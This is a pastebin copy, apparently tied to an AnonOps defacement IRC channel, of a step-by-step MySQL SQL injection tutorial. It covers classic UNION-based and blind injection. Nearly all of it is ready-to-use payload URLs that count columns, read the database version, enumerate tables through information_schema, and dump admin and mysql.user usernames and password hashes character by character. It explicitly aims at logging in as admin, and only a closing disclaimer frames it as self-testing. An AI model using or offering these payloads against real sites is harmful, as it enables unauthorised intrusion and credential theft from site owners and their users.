SHOW:
|
|
- or go back to the newest paste.
1 | _ _ ____ __ _ | |
2 | _| || |_| _ \ ___ / _| __ _ ___ ___ _ __ ___ ___ _ __ | |_ | |
3 | |_ .. _| | | |/ _ \ |_ / _` |/ __/ _ \ '_ ` _ \ / _ \ '_ \| __| | |
4 | |_ _| |_| | __/ _| (_| | (_| __/ | | | | | __/ | | | |_ | |
5 | |_||_| |____/ \___|_| \__,_|\___\___|_| |_| |_|\___|_| |_|\__| | |
6 | ||
7 | irc.anonops.pro:6667 | |
8 | SSL: irc.anonops.pro:6697 | |
9 | irc.anonops.bz:6667 | |
10 | SSL: irc.anonops.bz:6697 | |
11 | www.anonops.com | |
12 | Channel: #Defacement | |
13 | Full SQL Injection Tutorial (MySQL) | |
14 | ||
15 | In this tutorial i will describe how sql injection works and how to use it to get some useful information. | |
16 | ||
17 | First of all: What is SQL injection? | |
18 | It’s one of the most common vulnerability in web applications today. | |
19 | It allows attacker to execute database query in url and gain access | |
20 | to some confidential information etc…(in shortly). | |
21 | ||
22 | 1.SQL Injection (classic or error based or whatever you call it) | |
23 | 2.Blind SQL Injection (the harder part) | |
24 | ||
25 | So let’s start with some action | |
26 | ||
27 | 1). Check for vulnerability | |
28 | Let’s say that we have some site like this | |
29 | http://www.site.com/news.php?id=5 | |
30 | Now to test if is vulrnable we add to the end of url ‘ (quote), | |
31 | and that would be http://www.site.com/news.php?id=5′ | |
32 | so if we get some error like | |
33 | “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…” or something similar that means is vulrnable to sql injection | |
34 | ||
35 | 2). Find the number of columns | |
36 | To find number of columns we use statement ORDER BY (tells database how to order the result) | |
37 | so how to use it? Well just incrementing the number until we get an error. | |
38 | http://www.site.com/news.php?id=5 order by 1/* <– no error | |
39 | http://www.site.com/news.php?id=5 order by 2/* <– no error | |
40 | http://www.site.com/news.php?id=5 order by 3/* <– no error | |
41 | http://www.site.com/news.php?id=5 order by 4/* <– error (we get message like this Unknown column ‘4′ in ‘order clause’ or something like that) | |
42 | that means that the it has 3 columns, cause we got an error on 4. | |
43 | ||
44 | 3). Check for UNION function | |
45 | With union we can select more data in one sql statement. So we have | |
46 | http://www.site.com/news.php?id=5 union all select 1,2,3/* | |
47 | (we already found that number of columns are 3 in section 2). ) | |
48 | if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works | |
49 | ||
50 | 4). Check for MySQL version | |
51 | http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try – | |
52 | it’s a comment and it’s important for our query to work properly. | |
53 | let say that we have number 2 on the screen, now to check for version | |
54 | we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar. | |
55 | it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* | |
56 | if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …” | |
57 | i didn’t see any paper covering this problem, so i must write it | |
58 | what we need is convert() function | |
59 | i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/* | |
60 | or with hex() and unhex() i.e. | |
61 | http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/* | |
62 | and you will get MySQL version | |
63 | ||
64 | 5). Getting table and column name | |
65 | well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version. | |
66 | we must guess table and column name in most cases. | |
67 | common table names are: user/s, admin/s, member/s … | |
68 | common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc… | |
69 | i.e would be | |
70 | http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good :D) | |
71 | we know that table admin exists… | |
72 | now to check column names. | |
73 | http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name) | |
74 | we get username displayed on screen, example would be admin, or superadmin etc… | |
75 | now to check if column password exists | |
76 | http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name) | |
77 | we seen password on the screen in hash or plain-text, it depends of how the database is set up | |
78 | i.e md5 hash, mysql hash, sha1… | |
79 | now we must complete query to look nice | |
80 | for that we can use concat() function (it joins strings) | |
81 | i.e | |
82 | http://www.site.com/news.php?id=5 union all select 1,concat(username,0×3a,password),3 from admin/* | |
83 | Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon) | |
84 | (there is another way for that, char(58), ascii value for : ) | |
85 | http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/* | |
86 | now we get dislayed username:password on screen, i.e admin:admin or admin:somehash | |
87 | when you have this, you can login like admin or some superuser | |
88 | if can’t guess the right table name, you can always try mysql.user (default) | |
89 | it has user i password columns, so example would be | |
90 | http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,password),3 from mysql.user/* | |
91 | ||
92 | 6). MySQL 5 | |
93 | Like i said before i’m gonna explain how to get table and column names | |
94 | in MySQL > 5. | |
95 | For this we need information_schema. It holds all tables and columns in database. | |
96 | to get tables we use table_name and information_schema.tables. | |
97 | i.e | |
98 | http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/* | |
99 | here we replace the our number 2 with table_name to get the first table from information_schema.tables | |
100 | displayed on the screen. Now we must add LIMIT to the end of query to list out all tables. | |
101 | i.e | |
102 | http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/* | |
103 | note that i put 0,1 (get 1 result starting from the 0th) | |
104 | now to view the second table, we change limit 0,1 to limit 1,1 | |
105 | i.e | |
106 | http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/* | |
107 | the second table is displayed. | |
108 | for third table we put limit 2,1 | |
109 | i.e | |
110 | http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/* | |
111 | keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc… | |
112 | To get the column names the method is the same. | |
113 | here we use column_name and information_schema.columns | |
114 | the method is same as above so example would be | |
115 | http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/* | |
116 | the first column is diplayed. | |
117 | the second one (we change limit 0,1 to limit 1,1) | |
118 | ie. | |
119 | http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/* | |
120 | the second column is displayed, so keep incrementing until you get something like | |
121 | username,user,login, password, pass, passwd etc… | |
122 | if you wanna display column names for specific table use this query. (where clause) | |
123 | let’s say that we found table users. | |
124 | i.e | |
125 | http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/* | |
126 | now we get displayed column name in table users. Just using LIMIT we can list all columns in table users. | |
127 | Note that this won’t work if the magic quotes is ON. | |
128 | let’s say that we found colums user, pass and email. | |
129 | now to complete query to put them all together | |
130 | for that we use concat() , i decribe it earlier. | |
131 | i.e | |
132 | http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,pass,0×3a,email) from users/* | |
133 | what we get here is user:pass:email from table users. | |
134 | example: admin:hash:[email protected] | |
135 | That’s all in this part, now we can proceed on harder part | |
136 | ||
137 | 2. Blind SQL Injection | |
138 | Blind injection is a little more complicated the classic injection but it can be done | |
139 | I must mention, there is very good blind sql injection tutorial by xprog, so it’s not bad to read it | |
140 | Let’s start with advanced stuff. | |
141 | I will be using our example | |
142 | http://www.site.com/news.php?id=5 | |
143 | when we execute this, we see some page and articles on that page, pictures etc… | |
144 | then when we want to test it for blind sql injection attack | |
145 | http://www.site.com/news.php?id=5 and 1=1 <— this is always true | |
146 | and the page loads normally, that’s ok. | |
147 | now the real test | |
148 | http://www.site.com/news.php?id=5 and 1=2 <— this is false | |
149 | so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection. | |
150 | ||
151 | 1) Get the MySQL version | |
152 | to get the version in blind attack we use substring | |
153 | i.e | |
154 | ||
155 | http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4 | |
156 | ||
157 | this should return TRUE if the version of MySQL is 4. | |
158 | ||
159 | replace 4 with 5, and if query return TRUE then the version is 5. | |
160 | ||
161 | i.e | |
162 | ||
163 | http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5 | |
164 | ||
165 | 2) Test if subselect works | |
166 | when select don’t work then we use subselect | |
167 | i.e | |
168 | http://www.site.com/news.php?id=5 and (select 1)=1 | |
169 | if page loads normally then subselects work. | |
170 | then we gonna see if we have access to mysql.user | |
171 | i.e | |
172 | http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1 | |
173 | if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE. | |
174 | ||
175 | 3). Check table and column names | |
176 | This is part when guessing is the best friend | |
177 | i.e. | |
178 | http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.) | |
179 | then if the page loads normally without content missing, the table users exits. | |
180 | if you get FALSE (some article missing), just change table name until you guess the right one | |
181 | let’s say that we have found that table name is users, now what we need is column name. | |
182 | the same as table name, we start guessing. Like i said before try the common names for columns. | |
183 | i.e | |
184 | http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 | |
185 | if the page loads normally we know that column name is password (if we get false then try common names or just guess) | |
186 | here we merge 1 with the column password, then substring returns the first character (,1,1) | |
187 | ||
188 | 4). Pull data from database | |
189 | we found table users i columns username password so we gonna pull characters from that. | |
190 | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>80 | |
191 | ok this here pulls the first character from first user in table users. | |
192 | substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value | |
193 | and then compare it with simbol greater then > . | |
194 | so if the ascii char greater then 80, the page loads normally. (TRUE) | |
195 | we keep trying until we get false. | |
196 | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>95 | |
197 | we get TRUE, keep incrementing | |
198 | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>98 | |
199 | TRUE again, higher | |
200 | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99 | |
201 | FALSE!!! | |
202 | so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ‘c’. | |
203 | then let’s check the second character. | |
204 | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>99 | |
205 | Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght) | |
206 | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>99 | |
207 | TRUE, the page loads normally, higher. | |
208 | - | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>107 |
208 | + | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>107 |
209 | FALSE, lower number. | |
210 | - | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>104 |
210 | + | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>104 |
211 | TRUE, higher. | |
212 | - | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>105 |
212 | + | http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>105 |
213 | FALSE!!! | |
214 | we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far | |
215 | so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end). | |
216 | ||
217 | There are some tools for Blind SQL Injection, i think sqlmap is the best, | |
218 | but i’m doing everything manually, cause that makes you better SQL INJECTOR | |
219 | Hope you learned something from this paper. | |
220 | ||
221 | For more information and tutorials visit: http://www.anonops.com/tutorials/ | |
222 | ||
223 | Quick channel access if you do not have your own IRC client installed. | |
224 | Webchat: http://webchat.anonops.pro/ | |
225 | http://search.mibbit.com/networks/AnonOps | |
226 | ||
227 | For a full list of channels: /list on IRC | |
228 | ||
229 | For more information and tutorials visit: http://www.anonops.com/tutorials/ | |
230 | ||
231 | Quick channel access if you do not have your own IRC client installed. | |
232 | Webchat: http://webchat.anonops.pro/ | |
233 | http://search.mibbit.com/networks/AnonOps | |
234 | ||
235 | I am not responsible for any of the actions committed by anyone who reads this, nor do I condone using these tools to intentionally cause harm or damage any websites or servers. | |
236 | If you choose to do this it is on your own head, not mine - thank you. | |
237 | I have made this paste to make people aware of the tools out there for testing their own sites and servers, not anything else. |